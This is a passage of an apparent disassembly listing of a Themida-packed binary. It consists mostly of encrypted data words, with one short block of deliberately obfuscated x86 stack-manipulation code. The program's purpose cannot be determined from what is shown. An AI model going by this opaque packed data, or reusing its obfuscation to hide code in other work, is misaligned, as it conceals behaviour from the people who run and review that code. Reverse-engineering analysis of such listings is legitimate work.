		dd 0A313968Dh, 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh
		dd 7CB342B2h, 35EA8BFBh, 81AE47B7h, 0D0039202h,	0D612370Eh
		dd 18D9169Ah, 56C62424h, 80F05360h, 0C1F1C5F5h,	0D3E1D8FDh
		dd 0FB78620Ch, 0CEC838B8h, 804319F1h, 169C5EE0h, 2393161Bh
		dd 50701AF3h, 406FDF63h, 9CAEEF56h, 45C01693h, 6FD0E1D5h
		dd 50B7B7FFh, 6D24865Dh, 88A20742h, 0C82A9DBDh,	20000002h
		dd 9042873Eh, 18291693h, 624FCA72h, 1A7D6DDDh, 0C9F9BD34h
		dd 0FBCA4EF5h, 0E2B3169Bh, 52FDA91Ch, 0C67A0BF9h, 55FDC896h
		dd 1815E678h, 0D5A90F07h, 9BBC99A5h, 38EF0A17h,	3C29476h
		dd 1F136B82h, 0B3D66D6Fh, 3A1F2270h, 0F01D8169h, 4F923192h
		dd 2E1F2270h, 411D321Dh, 472393F0h, 67CAE7F5h, 50B2BFF7h
		dd 0F6D9B6E0h, 9C4F11E1h, 0CAA0E205h, 0D95EEA49h, 9680F04Dh
		dd 0DCB996B9h, 0A974E447h, 0AE4B9D3Ah, 4278BA9h, 5C000003h
		dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h
		dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh
		dd 169AD788h, 0AB4AF273h, 4003DB0Bh, 16A31601h,	6769D3DCh
		dd 15CC7090h, 0AB0F243Ah, 65C55A3Bh, 0ACEA5AD9h, 0D4BAFCD3h
		dd 0A6A40703h, 7A4948A3h, 169A8657h, 0E92A0516h, 49741686h
		dd 169A8607h, 936ADA59h, 0B7D3F822h, 8C53AFC5h,	0D4000002h
		dd 140BEA5Ah, 0E3502595h, 0C23F262h, 0CA593CACh, 7E1DF868h
		dd 0C030920Dh, 979FE35h, 0C535B76Ch, 10800330h,	0B98C5285h
		dd 169AD790h, 4FA29A5Bh, 0F293B68Dh, 495A1086h,	3E78E84Ah
		dd 4FEFA941h, 45843F1Fh, 1816A316h, 69B40F07h, 16169AD6h
		dd 0A815349Bh, 309DC442h, 167h,	0E3624F0Ch, 0A04A4373h
		dd 76A01073h, 0E78EFE7Dh, 0EFCFFFBFh, 9BFB1C54h, 0E6D0E116h
		dd 93FB3E5Fh, 5D50C716h, 0BD2781ECh, 27079Dh, 0AB230000h
		dd 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h,	80C9F49Bh
		dd 9DBD1CFDh, 0A818949Dh, 49F9916Eh, 0C5h, 66C7245Dh, 86F2BADFh
		dd 5F704110h, 0C03C7557h, 0F979BA50h, 9DBF8D89h, 9F5C0EB8h
		dd 8E3765A0h, 10869B4Bh, 88896132h, 667BBB2Bh, 8CC99505h
		dd 0E0C71D26h, 385337A5h, 14A01D16h, 1AF32393h,	5E0C0135h
		dd 86503C3Fh, 5DCD2E10h, 1E4EF2B8h, 36578540h, 1526169Eh
		dd 1A8AE849h, 1989EF44h, 0AD0D2271h, 3A28FB45h,	3E110890h
		dd 0D836D85Fh, 91F103B7h, 163h,	841181FDh, 3BDA4AAFh, 7C1989E4h
		dd 44D141A7h, 7A1B8BEFh, 0CF336E1Dh, 669B65Fh, 0D430FF96h
		dd 21A29164h, 0EBF3E4B1h, 9AD43158h, 13BBC16h, 0B4B864Fh
		dd 6671E146h, 7D6D1F74h, 0F6CD2E8Ch, 1086D0D3h,	0CFA6899Ah
		dd 0A273E360h, 0E0624F96h, 1A999A70h, 0BCA26CAAh, 86F2C009h
		dd 0BD9AAB10h, 8867B2C4h, 0BE6B1F08h, 8228CD3Dh, 15B08EBEh
		dd 169CF52Ah, 78667849h, 90F684CDh, 5D566716h, 0B87E6CDCh
		dd 0EE87F77Bh, 90F68AD3h, 0EF5FDC16h, 29991906h, 0C985EDh
		dd 4FA10000h, 0C580E162h, 1086F29Ch, 35614E5Fh,	3808B258h
		dd 568F3608h, 2516A316h, 89E94A14h, 0A3041D19h,	0C06E1C33h
		dd 0E555D5DEh, 25A484D2h, 7B6FFDF4h, 0A1BD2D8Eh, 0CD9568B4h
		dd 0E3453A5Ah, 654A4373h, 0BA39E685h, 5D59C92Eh, 0EC474F60h
		dd 47B6EDA4h, 0E70BB239h, 0ECDEDDEEh, 0B8FBA9A2h, 0F21FCB3Bh
		dd 0A542191h, 31D949A9h, 23138300h, 79A02339h, 9B27B9C4h
		dd 93475EA0h, 85960AD4h, 1BC70AB9h, 95A627B9h, 44B434F5h
		dd 1BC27352h, 36DF4FACh, 67228AE9h, 9A5206AFh, 5B5BCB2Fh
		dd 34624D62h, 933F6D6Ah, 52A2CB8Eh, 9773E361h, 162Bh, 883B2100h
		dd 27B95941h, 0CB6F1B2Ch, 0FED3864Fh, 979F7ED2h, 243941F3h
		dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h
		dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh, 4EC81h
		dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A5682404h, 89000008h
		dd 0EC832414h, 243C8904h, 5F2F3A68h, 0C14F5F04h, 0EFC105E7h
		dd 7EF8105h, 89FE430Bh,	0BD685FF8h, 8900003Ah, 4832424h
		dd 565A0424h, 24348150h, 2CA9438Ah, 8AF6815Eh, 892CA943h
		dd 0FF5E0872h, 815A2434h, 4C4h,	2434FF00h, 4C48158h, 0E9000000h
		dd 0FFF95566h, 0D9B0198Fh, 480FDC76h, 2861B877h, 0C503061Ch
		dd 5C5DE0FFh, 3E0E23CBh, 73D05AB7h, 59F07699h, 18110181h
		dd 0AC607E0Dh, 19402A8Bh, 738A34C9h, 0EA7D76F6h, 6E87F3Eh
		dd 1000000h, 8B2E75D9h,	13E9ADh, 55C20000h, 63A3D62Dh
		dd 3154EDC1h, 18663711h, 0CDA89843h, 0C08158E9h, 595Dh
		dd 8E8h, 0CFF13000h, 12217CDDh,	0F78B6692h, 66FF2B5Ah
		dd 469CD281h, 51381C8Bh, 0FB8B6660h, 0EB815A61h, 19216EE8h
		dd 0D16D681h, 0F3817D42h, 1728C332h, 81CA8B66h,	0E8E867EBh
		dd 0D9DD800Ah, 60381C89h, 8E9h,	0C8B69400h, 0A89A1317h
		dd 610EB3BFh, 215051BEh, 3EF832Bh, 4880Fh, 0BE660000h
		dd 0B94F0152h, 5519E2D9h, 0A76CFF81h, 850FFFFFh, 1Ah, 9C4EBA66h
		dd 27E9h, 39E78E00h, 2D7A322Dh,	0AC71B135h, 8FFEE127h
		dd 8D0F56EBh, 2, 79E9F18Bh, 0B0FFFFFFh,	0AB5CE4CAh, 0E6904A4h
		dd 7E8h, 0F28F8F00h, 209C92EAh,	58CABF0Fh, 0C2EAD981h
		dd 0C08131ACh, 6082h, 11E9h, 0B0121F00h, 1B0AA7D8h, 0A195F6B2h
		dd 0FECFBC3Bh, 0E2684A6Dh, 0FC000017h, 9E95Fh, 0D0050000h
		dd 0D398761h, 8BF7AF26h, 1B870F18h, 60000000h, 810Fh, 0EE90000h
		dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0EB816110h
		dd 140DCE98h, 6564EB81h, 81F857D9h, 4EDD38EBh, 0EA815205h
		dd 57F43248h, 0FE85359h, 9B000000h, 0F5C8F450h,	0B84DA818h
		dd 0A54313CEh, 5E891E3h, 58000000h, 0E9A2174h, 5EF08B66h
		dd 53008F5Ah, 13E8h, 5E101600h,	13068DAEh, 0DEFDA25Bh
		dd 0B36335C7h, 0DEF44E80h, 830Fh, 595E0000h, 0E902E883h
		dd 14h,	74A3C1C1h, 0BE011C82h, 0DF994230h, 7D7271BFh, 5C69F25Ch
		dd 0CE804848h, 850F4F1Dh, 0FFFFFF53h, 0B7D48060h, 0DFC18160h
		dd 0B21B58E5h, 0E8616160h, 10h,	75ADB00Dh, 40C57A9Ah, 31051B9h
		dd 807D4E7Bh, 0F121BB66h, 0C881665Ah, 0C2818EE0h, 5BF8h
		dd 58C38166h, 16CCBE3Ah, 0EB810000h, 7775497h, 816632FFh
		dd 5FCF1DE1h, 2E88151h,	595C054Bh, 0A962C781h, 0F96007C6h
		dd 10E960h, 14410000h, 0B00EFDD2h, 14447824h, 4640CC97h
		dd 58578537h, 0EF816161h, 6D3B8D92h, 6BC4F781h,	57F97416h
		dd 28FE58Ah, 0C18B6660h, 816177B1h, 1FE925EAh, 0B7D8812Eh
		dd 8147D6A7h, 1FE921C2h, 6E82Eh, 0B590000h, 66D0B441h
		dd 5BDFB70Fh, 0F01EE83h, 1985h,	38E0F00h, 80000000h, 19E911F7h
		dd 3F000000h, 4057C720h, 7A40701Bh, 0B866E453h,	69E9C685h
		dd 33FFFFFFh, 0B30C7B29h, 0BD83C08Bh, 61508F5h,	83097500h
		dd 1503ADBDh, 19740006h, 0C08B5350h, 421B8h, 85858900h
		dd 8D061513h, 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h,	61503h
		dd 53501774h, 421B8h, 85858900h, 8D061513h
		dd 17A78D9Dh, 5BD3FF06h, 8BC08B58h, 1500319Dh, 0C585C606h
		dd 56061509h, 0A8B85268h, 11B5FF9Ch, 8D061528h,	1872BC85h
		dd 6AD0FF06h, 10006804h, 0B5FF0000h, 6150685h, 0D0FF006Ah
		dd 850FC085h, 0Dh, 0B8h, 0D8D8D00h, 0FF061572h,	8BC88BE1h
		dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 6150FFDh
		dd 0E840F00h, 8B000000h, 150FFD9Dh, 69858B06h, 8906152Fh
		dd 8D525103h, 1543E485h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h
		dd 0C585C6A4h, 56061509h, 1F6D3968h, 11B5FFD4h,	8D061528h
		dd 1872BC85h, 68D0FF06h, 8000h,	0FF52006Ah, 83C08BD0h
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 421B8C0h, 85890000h,	61502A1h, 0AB059D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 421B853h, 85890000h
		dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0C08B585Bh, 0FFD9D8Dh
		dd 38B0615h, 840FC00Bh,	7, 5B8B038Bh, 0B8188904h, 4B41h
		dd 0BE8h, 0E6811200h, 0D6D2CF60h, 2A5360BAh, 0A6E78166h
		dd 8B66594Ah, 0FFC181FEh, 6600006Fh, 0BEDF8Bh, 0BA000000h
		dd 0E28BBC7h, 0B331048Bh, 74E8814Eh, 0BF39F605h, 63EB3E16h
		dd 0A4B1E881h, 7E90B85h, 73000000h, 798EC618h, 0C0810F0Fh
		dd 7EC2CE62h, 310489F8h, 50F28160h, 0E85C77D2h,	0Eh, 2201D86Ah
		dd 8316534Ch, 0A42F316h, 59537D28h, 29B7615Eh, 6604EE83h
		dd 0FE81F98Bh, 0FFFF90A8h, 13850Fh, 81660000h, 0E9DF2FCFh
		dd 1Ch,	8B982CF5h, 5FBDACE7h, 0E9DC8AE5h, 0FFFFFF88h, 0B87DF66Ah
		dd 9D07D9Eh, 4536B865h,	0AE8h, 7A5BCB00h, 831F93DCh, 0F7B64A9h
		dd 0E95FCFBFh, 0Ch, 21C15EAh, 30F3D66h,	2DC09768h, 0DA3AC781h
		dd 0CE8B0000h, 365F68h,	58CF8B00h, 0BED181h, 378B6184h
		dd 14E8h, 4A787A00h, 7A2FAA6Eh,	47BCF338h, 0F48AF105h
		dd 297F76BAh, 0CA8B66CFh, 85F68159h, 0B934719Eh, 2EEE633Eh
		dd 3ABF681h, 13E9461Bh,	0C7000000h, 6EAD0BC5h, 0B90DCACBh
		dd 3CF005E4h, 1DF76863h, 0C681846Ah, 18D2B5EFh,	8CCB8166h
		dd 840F56F1h, 0Bh, 58E0Fh, 75B90000h, 8F6CCC5Ah, 0EE907h
		dd 0CBBF0000h, 46496875h, 687FAFBEh, 0A4C69E73h, 0B504EF83h
		dd 1E8818Eh, 0F000000h,	0FFFF7585h, 0E93BB6FFh,	85h, 740171CDh
		dd 2BCA3ABFh, 6C0979F4h, 34C131B7h, 6A0B7BFFh, 0BF437E2Dh
		dd 0F679A64Fh, 0C440EF86h, 1172C154h, 0DB03D4A1h, 9ADC2168h
		dd 0F14BCC16h, 6254C424h, 0FE6ED2C1h, 0F2709A17h, 0EFF61086h
		dd 7310CAD4h, 1089BC48h, 4D123CECh, 3C510h, 2FE10000h
		dd 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
		dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 0A968783Ch
		dd 0E9061C2Eh, 0FFF94F26h, 40CEBFCh, 8D4F82EFh,	0F34C508Dh
		dd 0E92F97A5h, 618h, 60CE9h, 9C0C6A00h,	57C72AF9h, 0A41471BEh
		dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh
		dd 0A57A1B8Bh, 943FD646h, 0DDD6FBCAh, 0D495169Ah, 58C8298Ah
		dd 9189615Eh, 8757C724h, 5C5ACA2Ah, 948D8763h, 0BC2C8C18h
		dd 92B2857Ah, 0D29D3B15h, 0F6EB2B04h, 1C150171h, 0FBE82E9Eh
		dd 0FA370777h, 0B6600A7Ah, 0F3CB3BBDh, 4EAE3ABEh, 0C8C5F1DEh
		dd 2D0A4FF6h, 20F11086h, 0DC02CC4Ah, 862D2069h,	10FACB10h
		dd 432A223h, 2797191Ah,	0BF6C1EEFh, 5ECCCA3Ah, 0F1546A9Ah
		dd 16A3FEFCh, 3495141Dh, 9BFC4891h, 4D623316h, 22967449h
		dd 89E44D11h, 0AEC37119h, 0E936DF4Fh, 9B1A1C8Ch, 5C3840BEh
		dd 62C6EBADh, 2EA118F2h, 0E62B9AC4h, 855F3D99h,	0D855D6B4h
		dd 0BD885668h, 5F3D9994h, 0C9A44657h, 0D1ED1DE1h, 184A7F72h
		dd 893CFE59h, 45516840h, 1351A2Bh, 2494161Bh, 0F767C546h
		dd 43B3111Eh, 0B7C7F053h, 0FF660F04h, 575F7D0h,	79A02339h
		dd 4B0A527h, 6E3C5733h,	9AC49ACAh, 0A527E62Bh, 0D6B485B0h
		dd 284DC580h, 85AEB6B8h, 0E1D5B525h, 44A50ED0h,	133960E3h
		dd 0F3C4B6BEh, 0AEE5DADCh, 2EDC4Ch, 0BE135885h,	0BC2C8EB6h
		dd 0E488D7Ah, 0EC73F5DBh, 0E4D242A7h, 598A35DCh, 0B29746F1h
		dd 3DE06A47h, 1ACDh, 7CCA0B00h,	0AD7C8D3Fh, 0EBE1540Fh
		dd 5F2662CCh, 0A34768D8h, 353B56Fh, 24D10000h, 4BBB3CC8h
		dd 0C4413264h, 5C5E6254h, 0F2A1BB7Bh, 0D5B5901Ch, 58D4F3DAh
		dd 14410DE8h, 0BF243F81h, 0D7543665h, 4EB1E555h, 0D3FABF87h
		dd 6D0878F4h, 40CF37B6h, 46B63B28h, 10587F50h, 87F77939h
		dd 0BE91BE8Fh, 95056B78h, 0CCF3A2A1h, 340A7AFBh, 0A61D7EFFh
		dd 10867463h, 7416390Ah, 0EB203519h, 0E72A99A3h, 8610869Dh
		dd 0B95BA2B5h, 9C30FDDAh, 5C214573h, 6A530FAEh,	1D9D2E1Fh
		dd 2D86C8ADh, 655A5CCCh, 0B3238485h, 99096E83h,	0F23F019Dh
		dd 85401E8Eh, 0D1E535Ch, 355C0E1Fh, 2EBA3D8Ah, 67585ECEh
		dd 0DB07AD48h, 45000000h, 6D1D8DECh, 0E010ABC5h, 0CE3EBDB6h
		dd 0CD3DC3F0h, 64E14E1Dh, 67C9EAF4h, 1CCEBFF7h,	0F24E93F2h
		dd 0A8B21086h, 0F2CA0FB6h, 0C4B11086h, 0C0BDF969h, 290BC8EFh
		dd 0DA945BA2h, 71568930h, 8DD1A414h, 6155C524h,	2A8D7E6Ch
		dd 4677CBAh, 0B69CA94h,	23869B9Bh, 40EE9CB3h, 5A5CCC33h
		dd 3F77E749h, 0DDEAD544h, 4EC2ED5Dh, 68CFF8E7h,	6ACDE6F8h
		dd 0AE8510FAh, 0C4DDD949h, 0C5C0F666h, 0D95E6954h, 9CC28C69h
		dd 86D3E029h, 0D0BA8B10h, 276FDF63h, 60DC0EC8h,	4AADC6F0h
		dd 0CACC3CBEh, 1DDCDAF5h, 0AF9A4974h, 92F0D706h, 7E45A606h
		dd 1086D35Bh, 0F83E1122h, 0D64D2807h, 36BCA56h,	0D180F239h
		dd 0B8FBD49Dh, 0AFE7C838h, 86D30854h, 7A65D410h, 48B83B78h
		dd 0A31371A2h, 0C82466D2h, 0E7455E58h, 11883F77h, 5BCB299Eh
		dd 0F7EBF7BAh, 86E51086h, 0EC7C3916h, 7697A822h, 0FFFFFF09h
		dd 0DB0BAB92h, 6704003h, 0AAAB169Ch, 0D4214F88h, 0E6444FC5h
		dd 9B4F4076h, 0D84832FBh, 0CD08F6F1h, 0C9EAB4E2h, 0EB5BDC68h
		dd 0B9FDD2ABh, 0DADC4CA8h, 0F320CAE5h, 0DE552090h, 0B8A9ED5Dh
		dd 0DB4BAC38h, 0F666C6DBh, 0CFE0CFC0h, 0DDD057C7h, 4A2189EAh
		dd 0C646F10Dh, 66D6565Dh, 0F477AC49h, 0B39C0C68h, 0B42486ABh
		dd 2FDD8D82h, 930988D4h, 0F363E016h, 0DB4BAEC3h, 7E31D8DBh
		dd 0A20D8465h, 0BF56C625h, 73A31370h, 3D013105h, 4BB3121Fh
		dd 763B0FACh, 9482AD26h, 7CF4CFBBh, 1108EB6h, 0A1556530h
		dd 0D46F6D71h, 1CACA58Dh, 0A9AB5F70h, 8976AB1Ah, 9D99AA1Ah
		dd 0DDB82884h, 4076E646h, 63C854C5h, 0CD00A748h, 6B0A7AFAh
		dd 0D3C333B4h, 0A8EE5EDEh, 0CEC838BBh, 0B2E454D5h, 0EAF9E455h
		dd 0E5607E40h, 4B6211BCh, 157C6E3Fh, 0FD1A9FAAh, 0B6A2F38Ch
		dd 76000000h, 35DC524h,	0D45AA260h, 3365BEAh, 0E4B51086h
		dd 4D11E4CBh, 751585E4h, 2CC939B4h, 3D0171F7h, 610979F4h
		dd 2D9D1D12h, 0E757DB48h, 1B3E05D7h, 0E2108603h, 0F05A39D1h
		dd 0E6D040C3h, 160070CDh, 0B7741639h, 2935C030h, 3499033h
		dd 63341086h, 3363D330h, 183B05Ah, 845A0491h, 860398C1h
		dd 0B8526310h, 0ED88F87Bh, 7A44B436h, 0C4FB739h, 93A09BE4h
		dd 2926103Fh, 3482D341h, 4A4CBC3Fh, 0B413BA6Bh,	6A74C333h
		dd 8659B6DBh, 0D0733510h, 10865989h, 0E98CA374h, 0ED4ABA3Ah
		dd 6539B9h, 944D0000h, 86F21F39h
		dd 0BB26310h, 0F565CAE7h, 561ECCC1h, 55C524E2h,	861273C0h
		dd 8C81B525h, 0DB5DD2A3h, 15958A6Bh, 7CBA2A89h,	0F2EE3392h
		dd 0BC8D1086h, 4AD9BC93h, 786678E8h, 86F284CDh,	0E959DA10h
		dd 5F70D0ADh, 0EC53E0ABh, 2A8A997Ch, 0E744DBBAh, 9BBC9E77h
		dd 0B0DAA653h, 69593120h, 3, 244B2F3Dh,	475C5ACAh, 314274E4h
		dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
		dd 4F6452C2h, 783C7AEAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	7215h
		mov	[esp], ebp
		push	edi
		mov	edi, 38692C93h
		push	ebp
		mov	ebp, 17554287h
		xor	ebp, 45733CF5h
		and	ebp, 56E63F11h
		dec	ebp
		shr	ebp, 4
		add	ebp, 48C9FC48h
		or	edi, ebp
		pop	ebp
		and	edi, 553E642Dh
		sub	edi, 4F1034E3h
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		push	edx
		mov	edx, 9DB5821h
		xor	[esp+4], edx
		pop	edx
		pop	dword ptr [ebp+8]
		xor	dword ptr [ebp+8], 9DB5821h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dd 317FCE0Ch, 0F90C292Ah, 5C17EBDEh, 3491B82Ch,	0C503061Ch
		dd 3BE9D38Bh, 60000000h, 1CA9BD8Bh, 0EF830615h,	8BC93304h
		dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh
		dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h
		dd 0FFFFFFD3h, 0C88BC361h, 75FDED55h, 76F67A5Eh, 56E669A4h
		dd 8FFD49BCh, 0EDFD2418h, 22FD2436h, 80FD2421h,	72FD24A8h
		dd 68FD246Eh, 31FD248Ch, 16FD24FDh, 0DFD2445h, 48FD2419h
		dd 1FD2436h, 7AFD2421h,	0C7FD24ADh, 0A4FD246Eh,	81FD248Ch
		dd 4DFD24FDh, 91FD2443h, 9DFD2418h, 95358A25h, 76D6A222h
		dd 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h
		dd 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh
		dd 76FD7A5Eh, 75A31856h, 75A319E5h, 75FD7ACBh, 74FC7BE4h
		dd 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73E143EBh,	4011FFA6h
		dd 0F0707C8Bh, 73E14300h, 4051FF6Ch, 0F0707CEEh, 73E14070h
		dd 4015FF35h, 0F0707C42h, 73E14346h, 404DFF1Eh,	0F0707CD7h
		dd 73E143CDh, 4049FF7Bh, 0F0707C65h, 73E14D7Ah,	4045FFD7h
		dd 0F0707C33h, 73E14D4Fh, 4041FF42h, 0F0707CF9h, 73E14D1Ch
		dd 403DFFF0h, 0F0707CA0h, 73E14217h, 4031FFA6h,	0F0707C8Bh
		dd 73E142DEh, 4039FF6Ch, 0F0707CEEh, 73E1424Dh,	4035FF35h
		dd 0F0707C42h, 73E14266h, 4031FF1Eh, 0F0707CD7h, 73E14266h
		dd 4021FF7Bh, 0F0707C65h, 73E1421Eh, 401DFFD7h,	0F0707C33h
		dd 73E14252h, 4019FF42h, 0F0707CF9h, 73E143FCh,	402DFFF0h
		dd 0F0707CA0h, 73E1431Bh, 4029FFA6h, 0F0707C8Bh, 73E1432Bh
		dd 4025FF6Ch, 0F0767CEEh, 73E85FF4h, 43D8FF35h,	0F0767C42h
		dd 73E85886h, 43D4FF1Eh, 0B69C7CD7h, 9D11F1B0h,	75FD7AF2h
		dd 4C17FB23h, 25FB668Bh, 0FDF53FD5h, 69CB5EADh,	0B7342291h
		dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 73E14DE6h
		dd 4056FFA0h, 0C87D7C33h, 73E14F3Ch, 0C5B409CFh, 0B54B75E4h
		dd 3589BAF9h, 43D4EF86h, 0FEBD7CA0h, 7A452B96h,	8AFD7A2Fh
		dd 69CB5302h, 0D948F7CDh, 0F8FB66D0h, 9D50FCC6h, 75FD7E4Bh
		dd 76456FCFh, 8AFD7A5Eh, 69CB53BAh, 0D948F791h,	0F8FB66FEh
		dd 8A50FCD1h, 0BC1F2322h, 4056F787h, 2DA07CA0h,	2CA32005h
		dd 776D92ECh, 0CD4D7A97h, 8A5779C1h, 69CB5F70h,	9D3ED1F4h
		dd 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 43D8EFD0h, 0DE9B7C8Bh
		dd 77959208h, 360B7AE5h, 6E8872F3h, 43D8EF86h, 0C54D7CA0h
		dd 8AAD7954h, 69CB5FBAh, 0F69B2091h, 7E9B7E2Bh,	0B6561C27h
		dd 75FF6B1Ah, 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h
		dd 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah
		dd 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh
		dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h
		dd 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 506885B5h, 2FFB66C4h
		dd 51FD5F1Fh, 133F71DAh, 0E94DB9F5h, 74BD9285h,	0F44D7A97h
		dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h,	0DF60CABCh
		dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah,	75FD7B43h
		dd 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh,	9D57E69Fh
		dd 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh,	6515D0F9h
		dd 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h
		dd 75FD7AE2h, 43D4EF0Dh, 0C0707C65h, 73E14F4Ch,	7F518A5Dh
		dd 0E002D02Ch, 73E14CB2h, 74E59208h, 254D7AE5h,	9D5779F8h
		dd 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch,	274DD0C7h
		dd 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h
		dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h
		dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h
		dd 405FFF69h, 0C87D7CD7h, 73E14F47h, 0F8EC0FF3h, 69CB6EFCh
		dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h
		dd 8A00C30Dh, 0DF9CCA0Dh, 405FF787h, 0C87D7CA0h, 73E14FFCh
		dd 0F8F10F2Fh, 69CB6E12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah
		dd 5C688579h, 0F8FB668Ah, 69C70BC3h, 6DF9F029h,	9C4DB93Dh
		dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h
		dd 69CB5FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h,	75C9924Eh
		dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h
		dd 43D8EF68h, 917D7CD7h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh
		dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh
		dd 69CB5370h, 7D60F7F4h, 0F8FB664Fh, 0CD3E39A0h, 75FD7A4Eh
		dd 43D4EFD0h, 0B57E7C8Bh, 8935F1CEh, 43D8EF1Ah,	97577CEEh
		dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh
		dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh
		dd 0F417FB04h, 0FCFB6615h, 0CF7D86EAh, 73E14CEFh, 0EC7975E5h
		dd 0CDFD7AF2h, 75FD7A73h, 43D4E843h, 0FCBD7C42h, 69CB57ADh
		dd 0F835F191h, 69C62F79h, 506F85E3h, 0FDFB66C4h, 801F3C7Fh
		dd 75FD6D04h, 587F795Eh, 35FB6619h, 4EB4E01Ah, 0B67E7CD7h
		dd 22FEF3E1h, 75FD644Bh, 58777979h, 0F8FB668Ah,	69C64DECh
		dd 2B598929h, 75FD722Fh, 5C6F85CBh, 0F6FB66D3h,	85897E0Ah
		dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
		db 0F7h
byte_5ED535	db 0BBh, 1Eh, 76h	; DATA XREF: Themida_:0057B0FCo
		dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h
		dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h
		dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah
		dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h
		dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh,	4E959016h
		dd 0CF707CD7h, 73E14CD4h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh
		dd 26FD7E9Ch, 43CCE7A2h, 497D7C8Bh, 71887BD3h, 771683BEh
		dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0D417FB04h,	0F8FB6614h
		dd 69CB4B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h
		dd 4440F7DCh, 46FB6668h, 75F5C3EFh, 0DF0E7A97h,	0F89DB9AAh
		dd 69CB4B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh
		dd 9E04795Ah, 0B69C8296h, 4440F7ABh, 0CDFB66D3h, 75FD7AF3h
		dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 4B78F7EFh,	8AFB66A1h
		dd 0E8CA8BD0h, 10h, 0EF2E510Fh,	3F80CA04h, 9C95D3DAh, 0C6D135CDh
		dd 0D38B6660h, 61C18B66h, 14E85259h, 0AD000000h, 36CAEA5Ah
